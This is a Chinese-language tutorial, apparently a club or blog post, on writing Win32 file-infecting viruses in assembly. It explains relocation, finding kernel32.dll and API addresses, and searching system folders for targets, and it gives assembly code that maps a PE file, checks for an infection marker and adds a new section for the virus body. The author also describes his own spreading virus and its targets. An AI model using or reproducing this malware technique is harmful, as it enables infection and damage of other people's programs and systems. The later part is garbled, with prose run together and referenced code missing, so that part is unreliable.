引:前些天学病毒这门技术着实吃了非常多苦头,走了非常多弯路,虽然按我的知识水平,病毒已经是水到渠成的学习内容了。可是我如今学了入门才发现这门技术实际上隐藏着非常多玄机,包括着很多技术,不专门学习研究根本无法达到“牛”的境地上去。如今写了这篇文章,介绍的都是相当有用的东西,能够让你少走很多弯路(有时侯一个错误够你找几个小时的)。只是须要些基础知识才干看懂。假如你有天知识储备够了。不学学病毒将是你的遗憾。
另。由于是写给协会会员參考的。也没写的多“专业”,多了些赘述。
???????在你看之前,你应该知道这仅仅是篇能够带你入门的文章,假设你已经会了就不用看了。看的时候最好准备个PE表在旁边。
写病毒程序能够使用非常多种语言来写比方C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。可是最适合写病毒程序的还是汇编语言。汇编语言底层。灵活,速度快。体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包括了全部的功能。一般一个病毒都有例如以下几个功能:
一?代码重定位
二?自己找到所需API地址
三?搜索文件、文件夹
四?感染文件
五?破坏系统或文件(随便你了)
当中一。二项功能是必要的。五项功能是可选的。
而一个病毒程序感染文件的功能是它的核心。是衡量它质量的重要标准。
(一)代码的重定位
一个变量或函数事实上是一个内存地址,在编译好后。程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。
假设你将代码插入到其它不论什么地方,再通过原来编译时产生的地址去找他们就找不到了,由于他们已经搬家了。可是,你在敲代码时考虑到这个问题,你就能够在代码最開始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。
Call?getbaseaddress
Getbaseaddress:pop?ebx
Sub?ebx,offset?getbaseaddress
Mov?eax,dword?ptr?[ebx+Var1]
假设你使用宏汇编语言写病毒。请尽量使用ebx做基地址指针,不要使用ebp。由于ebp在调用带參数的函数时会改变。
(二)自己取得所需的API地址
一个win32程序文件。所调用的API函数地址,是由系统填入到程序文件里描写叙述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。由于你在把病毒的代码插入目标程序时没有把这些描写叙述数据存放位置的数据结构信息也弄进去。它被插入到其它目标程序后就成了仅仅有代码的残废儿童:(所以作为一个残废儿童。应当自力更生。自己搜寻自己须要的API地址。
目标程序文件就包括了我们须要的东西,我们须要自己去找。目标程序文件仅仅要还是win32程序,它的地址空间中就包括的有Kernel32.dll。
假设找到了它,我们就能找到其它不论什么的东东。
第一步,搜寻kernel32.dll的基地址。当然了。整个地址空间有4GB,可供搜索的用户进程空间也有2GB。
在2GB中搜索,太吓人了。
总不能在运行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。
在程序被载入后,载入程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL。就是说,你程序还没运行,堆栈区里就有了一个返回地址了,这个返回地址指向的是载入程序。而载入程序是包括在KERNEL32.dll中的,我们顺着它向上找。就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找。而是一个页面一个页面地找。
由于win32下,代码或数据的開始位置总是页面单位(windows平台下为4kb)对齐的。
Kernel32.dll是一个PE文件,我们按比較PE文件dos签名标志和PE签名标志的方法找。另外还有个办法是通过SHE技术找。这是最好的办法了。前一个办法由于堆栈是动态的原因不稳定。一般仅仅能将获取地址的代码块放在最开头,这种方法全然是与堆栈无关的,放在哪里运行都不会出错,假设你的病毒须要用一些远程线程之类的技术,最好用这种方法。
SHE结构。第一个成员指向下一个SEH结构。假设是最后一个那么它的值就是0ffffffffh。第二个成员指向异常处理函数。假设是最后一个SHE结构且没有指定的话,缺省的是SetUnhandlederExceptionFilter函数地址。
当异常触发这个函数时就会弹出一个对话框。问你发不发送错误。98下显示蓝屏。
这个函数是包括在KERNEL32.dll中的,仅仅要取得它的地址向上找就能找到KERNEL32.dll的基地址了。在说SHE时总忘不了TEB,TEB是创建一个线程时分配的线程相关的数据结构,SHE仅仅是它开头第一个数据结构体而已。
它还包括了其它很多重要的东西,TEB由FS段选择器指向,有兴趣的查查资料,这里篇幅原因就不再多说了。
接着上面的,看看怎样找SetUnhanderExceptionFilter函数地址。先依据“下一个”SHE结构的值定位到最后一个SHE结构,这时取出she处理函数的地址,就是SetUnHandleredEceptionFilter函数地址了,以页面为单位向上找就能够找到Kernel32.dll了/
得到Kernel32.dll的基地址后,定位到它的导出表,找出GetProcAddress地址再利用GetProcAddress就能找到其它不论什么所须要的函数了。
在搜索API时应该注意API的名字,API的名字实际的导出名字非常有可能不是你调用时的名字。windows下非常多API都有两个版本号ANSI版和UNICODE版,ANSI版函数名后缀带个A。比方CreateWindowExA,,而UNICODE版的函数名带个W后缀,比方CreateWindowExW。只是考虑到麻烦问题。现有的非常多编译器都不让你写后缀。仅仅是在编译的时候依据你程序是ANSI版的还是UNICODE版的自己主动改名字。Win2K以后的API函数都是Unicode?版本号的,假设调用ANSI版本号的函数。系统仅仅是将函数中的字符串通过进程默认堆将其转换成Unicode字符串,再调用Unicode版的API。Unicode是个发展方向。大家应该养成使用它的习惯而不是ANSI。
(三)搜索文件、文件夹
???????主要是用FindFirstFile,FindNextFile,FindClose.这三个函数实现。
值得注意的是在用“*.*”搜索字符串时得到的是程序文件所在文件夹的全部文件和文件夹。
而GetCurrentDirectory取得的是系统当前的文件夹。
后者是随时会随着用户的操作而改变的,前者仅仅会随着目标程序文件的位置改变而改变。搜索须要感染的文件夹和文件时应该重点搜索windows安装文件夹(GetWindowsDirectory)。系统文件夹(GetSystemDIrectory)。当前文件夹(GetCurrentDirectory)?。当然程序当前文件夹也是不可放过的。比方,你把QQ感染了。QQ文件夹底下那么多常用的程序文件。比方珊瑚虫外挂,邮箱工具等等都是你的盘中餐了。我最喜欢感染的地方还是系统中各个进程所在的文件夹,那些才是用户最常用的,我的遂宁一号病毒是通过代码插入的办法做到这点的,非常麻烦,且非常不稳定。经常莫名其妙的使被插入进程在插入时结束掉,虽然能够用SHE避免。可是还是没多大效果。我如今正在构想我的下一个病毒。那时我将会使用PEB来枚举各个进程所在的文件夹了。不再使用代码插入了,会使病毒稳定的多的,我在遂宁一号中枚举进程使用的是toolhelp系列函数这样使病毒在Windows98也能正常运行。
(四)感染文件
所谓感染就是将病毒程序的代码插入到目标程序中。然后让目标程序先运行病毒程序的代码。至于将代码插入到目标程序的什么位置上,怎样使目标程序运行插入的病毒代码,什么时机对什么文件进行感染都是感染问题的核心。首先讨论将病毒代码插入到目标程序的什么位置才生效。
Windows平台下的可运行文件都是PE格式的,这种格式的文件,你能够将它看成两大部分。第一部分是描写叙述各类数据存放位置的数据结构,第二部分就是各种数据。比方资源。代码,数据等等。因此。想将代码正确插入到目标程序文件里,就要读取和改动目标程序文件里描写叙述各类数据存放位置的数据结构了。
以下我们来计算下我们的代码插入的位置,在这里我们讲一个最简单的插入方法。通过在文件里添加一个新的节区来实现。
push?eax
?
push?FILE_ATTRIBUTE_NORMAL
push?eax
call?DWORD?ptr?[ebx+SetFileAttributes1]
?
pop?eax
?
push?NULL
push?FILE_ATTRIBUTE_NORMAL
push?OPEN_EXISTING
push?NULL
push?0
push?GENERIC_READ?or?GENERIC_WRITE?
push?eax
call?DWORD?ptr?[ebx+?CreateFile1]
?
inc?eax
jz?@error1
?
dec?eax
mov?DWORD?ptr?[ebx+hFile],eax
上面那几步就用不着多说了吧。就是打开文件嘛。文件名称指针放在eax里头的
?
push?NULL
push?DWORD?ptr?[ebx+hFile]
call?DWORD?ptr?[ebx+GetFileSize1]
?
mov?DWORD?ptr?[ebx+dwFileSize],eax
?
push?NULL
push?0
push?0
push?PAGE_READWRITE
push?NULL
push?DWORD?ptr?[ebx+hFile]
call?DWORD?ptr?[ebx+CreateFileMapping1]
or?eax,eax
jz?@error1
mov?DWORD?ptr?[ebx+hMap],eax
push?0
push?0
push?0
push?FILE_MAP_READ?or?FILE_MAP_WRITE
push?DWORD?ptr?[ebx+hMap]?
call?DWORD?ptr?[ebx+MapViewOfFile1]
or?eax,eax
jz?@error1
mov?DWORD?ptr?[ebx+pMap],eax
mov?esi,eax
cmp?WORD?ptr?[esi],‘ZM‘
jnz?@error1
add?esi,DWORD?ptr?[esi+3ch]
cmp?WORD?ptr?[esi],‘EP‘
jnz?@error1
cmp?DWORD?ptr?[esi+4ch],‘1.ns‘
jz?@error1
这几步是对文件进行映射,然后推断该文件是不是PE格式文件,是不是已经被感染过了?假设这两个条件有一个满足就说明没有感染它的必要了,跳到@error1上去。
?
mov?eax,DWORD?ptr?[ebx+dwFileSize]
?
add?eax,Virus_End-Virus_Start
mov?ecx,DWORD?ptr?[esi+3ch]
call?Align1
刚刚取得了文件的大小,如今将它和病毒的体积相加,然后进行文件对齐。注意文件对齐是必须的。Align1是个对齐子程序。对齐后的值放在eax中的。对齐因子放在ecx中的。
讲到这我火又来了。我開始看的教程。这篇文章讲的对齐方法有错误。我没察觉,有一次为了这个错误浪费了我3个通宵我当时都快失去自信了。这个错误就是对齐,所谓对齐就是将一个数(未对齐的数)整成还有一个数的倍数(对齐因子)他讲的对齐方法是这种,他说,先用未对齐的数去除以对齐因子,再用对齐因子减去余数。再用未对齐的数加上这个减去后的数。我開始验算了几个值都对,并且大多数文件也能正确感染。可是就是有那么几个文件一感染就出问题。后来发现是文件对齐的问题了,于是换了个更符合逻辑easy想通的办法,一个未对齐的数总是对齐因子的倍数,我们先找出未对齐的数是对齐因子的几倍。所以用未对齐的数除以对齐因子,假设有余数说明没对齐。还差一倍,将商加个一乘以对齐因子,这样就得到对齐后的值了。
如是对齐因子本身比原数大的话,那就还是有余数。加上一乘以对齐因子。就是对齐因子的一倍,所以这种方法既简单又符合逻辑。这才是方法。只是我也不怎么太怪那个Billy?Belceb。由于他写电子教程时才16岁。16岁能写出那样有深度的文章已经是难能可贵了。佩服~~~。
mov?DWORD?ptr?[ebx+dwFileSize],eax
push?DWORD?ptr?[ebx+pMap]
call?DWORD?ptr?[ebx+UnmapViewOfFile1]
push?DWORD?ptr?[ebx+hMap]
call?DWORD?ptr?[ebx+CloseHandle1]
push?0
push?DWORD?ptr?[ebx+dwFileSize]
push?0
push?PAGE_READWRITE
push?0
push??DWORD?ptr?[ebx+hFile?]
call?DWORD?ptr?[ebx+CreateFileMapping1]
or?eax,eax
jz?@error1
mov??DWORD?ptr?[ebx+hMap]?,eax
push?0
push?0
push?0
push?FILE_MAP_READ?or?FILE_MAP_WRITE
push?DWORD?ptr?[ebx+hMap]
call?DWORD?ptr?[ebx+MapViewOfFile1]
or?eax,eax
jz?@error1
mov??DWORD?ptr?[ebx+pMap],eax
依据对齐后新的文件大小对文件又一次映射全部文件视图。这时,文件在磁盘上的大小也对应添加了。
?
mov?esi,eax add?esi,DWORD?ptr?[esi+3ch] 以下两行代码能够确保感染程序在xp下运行时不会弹出个不能载入某某DLL的错误对话框!! 在我不知道的时候。我以前编写了一个低水平的病毒。这个病毒能感染非常多文件。 我当时觉得病毒感染就是这样了。可是有一天,我发现被病毒感染后的记事本程序无法使用,总是提示“非法win32程序”我将病毒又一次写了一次,把代码改了一些,可是仍然没有效果。我非常失望。上网看文章玩。无意中看到老罗的一篇文章。当中有个地方他专门写凝视感激一位在技术帮助了他的人,指出某某处应该清0。看来他也以前遇到过这个问题,我将他的代码加入到我的程序中。奇迹发现了。能正常感染了。 我后来查了很多资料也没找到这个结构是做什么的,仅仅知道它是IMAGE_DATA_DIRECTORY的第11个成员。 原因是肯定兼容性好的多,我的这种方法是取得IMAGE_DATA_DIRECTORY的个数乘上其大小在加上其它头剩余的大小。 再加上?节表的个数*节的大小28h。 有非常多病毒都是用的这种方法。为什么?我觉得Windows将来或许会扩充IMAGE_DATA_DIRECTORY成员的个数吧。 所以动态的取得它比較好点。好了,如今edi已经指向节表末尾了,如今是新加入节的地盘了:(立即给它填我们的节表内容。
再回到我们的感染问题上来。假设你的节有共享属性,就意味着它拒绝写入时拷贝技术,就是那个写数据的记事本。将会影响到其它9个记事本了,假设这是个变量的话,就是10个记事本都能够影响到的全局或称共享变量了。 (代码节叫。Text)- 为啥要连加两个偏移呢?由于你脑壳不会拐弯:( 将你新增的大小加上原来SIzeOfImage经过节对齐就好了。假设你哪天感染了的文件无法运行,先看看这有问题没有。
写这个我承认也加深了我的记忆。可是我希望大家能通过我的这篇垃圾文章,在学习病毒技术的曲折路程中少犯错误,由于我已经当了替死鬼了,你们没有必要再死一次了。新手在写病毒这种程序犯错误是非常可怕的。或许是致命的,由于差点儿找不到人讲。并且这里面的错误往往都不是程序的语法错误那么简单。须要你对全盘的分析,系统的全面了解。才干高速的定位错误。我犯了很多次错误,有非常多错误是在通宵过程中犯的“低级”错误。我浪费了非常多调试时间,FT。 另外文章没有讲那么多高明的技术,由于我也在探索中。大家学会了这篇文章中的内容,能够看看?入口点模糊技术,多态感染引擎技术,虚拟机技术。简单有用的有?怎样感染文件而不改变文件大小的技术。PEB和TEB结构体,代码插入技术。越往后学。对你的汇编功底要求越高。大家在提高技术的同一时候也应该学点汇编方面的知识,比方?保护模式下编程,一些指令集?如MMX。上面介绍的知识。我仅仅了解一点点,我也是肉鸡一个。往后还有非常多书须要看。88。 |